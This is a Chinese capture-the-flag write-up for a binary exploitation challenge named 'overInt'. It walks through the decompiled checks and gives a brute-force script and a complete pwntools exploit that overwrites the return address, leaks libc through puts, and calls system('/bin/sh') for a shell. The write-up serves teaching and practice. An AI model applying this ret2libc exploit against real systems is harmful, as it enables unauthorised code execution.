By Robin
题目资源:
https://pan.baidu.com/s/1e5NWSpLPYxNKsD0CoZQ_Zg
密码:ppl5
题目解析:
阅读ida上的反编译代码,main函数的逻辑是:
Please set arrary number:
这里要求输入一个 4 bytes 的数字数组
此外这个数字数组必须通过以下函数,才能继续执行往下走的代码:
#ida
__int64 __fastcall sub_4007D1(__int64 a1, signed int a2)
{
v3 = 0;
for ( i = 1; i < a2; ++i )
{
printf("v[i] is %d\n", (unsigned int)*(char *)(i + a1));
v3 = ((char)(*(_BYTE *)(i + a1) >> 4) + 4 * v3) ^ (*(char *)(i + a1) << 10);
}
return v3 % 47 + (v3 % 47 < 0 ? 0x2F : 0);
}
其中我们输入的数字数组是参数a1,a2为4,要求返回值位35.
对返回值的计算是在
#ida
v3 = ((char)(*(_BYTE *)(i + a1) >> 4) + 4 * v3) ^ (*(char *)(i + a1) << 10);
return v3 % 47 + (v3 % 47 < 0 ? 0x2F : 0);
这两条语句上。
我们可以用python脚本暴力破解出来,这里贴一下我的爆破脚本:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii
# blasting canary
canary = ""
padding = "a"*104
def a():
for a in xrange(100):
for b in xrange(100):
for c in xrange(100):
for d in xrange(150):
print(a)
print(b)
print(c)
print(d)
p = process('./overInt')
print p.recv()
p.send(chr(a)+chr(b)+chr(c)+chr(d))
info = p.recv()
print info
k = info.rfind("wrong")
if k<0:
p.close()
canary = chr(a)+chr(b)+chr(c)+chr(d)
return canary
else:
p.close()
aaa = a()
print "success get blasting!"
print aaa.encode('hex')
爆破出来 \x00\x15\x16\x89 和 \x00\x14\x18\x7b 这两组数组都可以通过函数。
main函数往下走是第二个要通过的函数:
#ida
__int64 __fastcall sub_4006C6(int a1)
{
v7 = 0;
buf = 0;
v3 = 0;
v6 = 0;
v5 = 0;
puts("How many numbers do you have?");
v6 = read(0, &buf, a1);
if ( v6 == a1 )
{
v5 = buf;
printf("m_num is %d\n", buf);
if ( v5 > 4 )
{
for ( i = 0; (signed int)i < v5; ++i )
{
printf("the number %d is: \n", i);
v4 = 0;
v6 = read(0, &buf, a1);
if ( v6 == a1 )
{
v4 = buf;
printf("temp_num %d is %d\n", i, buf);
v7 += v4;
}
}
}
result = v7;
}
else
{
puts("the length should be 4 bytes");
result = 0LL;
}
return result;
}
函数要求输入n个数,n>4,这n个数的和等于返回值,在main中要求返回值为543372146。我们使用 n =4,90562024+90562024+90562024+90562024+90562025+90562025 = 543372146来通过。
con.sendafter("have?\n",p32(6))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562025))
con.sendafter("\n",p32(90562025))
通过这两个函数之后,后面即是喜闻乐见的修改内存的部分。
这里要求我们第一个输入要修改多少字,第二个输入是要修改的位置,第三个则是要修改的值。
我们利用程序里的 puts() 函数进行 libc 泄露来得到 system() 函数和 "/bin/sh" 字符串的地址,
con.sendafter("\n",p32(32))
ret=0x38
modifyqword(ret,0x400b13)
modifyqword(ret+8,code.got['puts'])
modifyqword(ret+16,code.plt['puts'])
modifyqword(ret+24,0x40087f)
con.recvuntil(chr(0xa))
addr = con.recvuntil(chr(0xa))
libc.address= u64((addr[-7:-1]).ljust(8,"\x00"))-libc.symbols['puts']
bypass()
con.sendafter("\n",p32(24))
modifyqword(ret,0x400b13)
modifyqword(ret+8,libc.search("/bin/sh").next())
modifyqword(ret+16,libc.symbols['system'])
下面是完整的exp:
#!/usr/bin/env python
from pwn import *
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./pctf/overInt",checksec=False)
context.arch=code.arch
if len(sys.argv)>1:
con=remote(sys.argv[1],int(sys.argv[2]))
#libc=ELF("./libc.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
con=code.process()
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(commond=""):
gdb.attach(con,commond)
def modify(offset,content):
con.sendafter("modify?\n",p32(offset))
con.sendafter("in?\n",content)
def modifyqword(offset,content):
content=p64(content)
for x in content:
modify(offset,x)
offset+=1
def bypass():
con.sendafter("\n",'\x00\x14\x18\x7b')
#con.sendafter("\n",'\x00\x15\x16\x89')
#con.sendafter("\n","9777")
con.sendafter("have?\n",p32(6))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562025))
con.sendafter("\n",p32(90562025))
def exploit():
raw_input("#")
bypass()
con.sendafter("\n",p32(32))
ret=0x38
modifyqword(ret,0x400b13)
modifyqword(ret+8,code.got['puts'])
modifyqword(ret+16,code.plt['puts'])
modifyqword(ret+24,0x40087f)
con.recvuntil(chr(0xa))
addr = con.recvuntil(chr(0xa))
libc.address= u64((addr[-7:-1]).ljust(8,"\x00"))-libc.symbols['puts']
bypass()
con.sendafter("\n",p32(24))
modifyqword(ret,0x400b13)
modifyqword(ret+8,libc.search("/bin/sh").next())
modifyqword(ret+16,libc.symbols['system'])
exploit()
con.interactive()
网友评论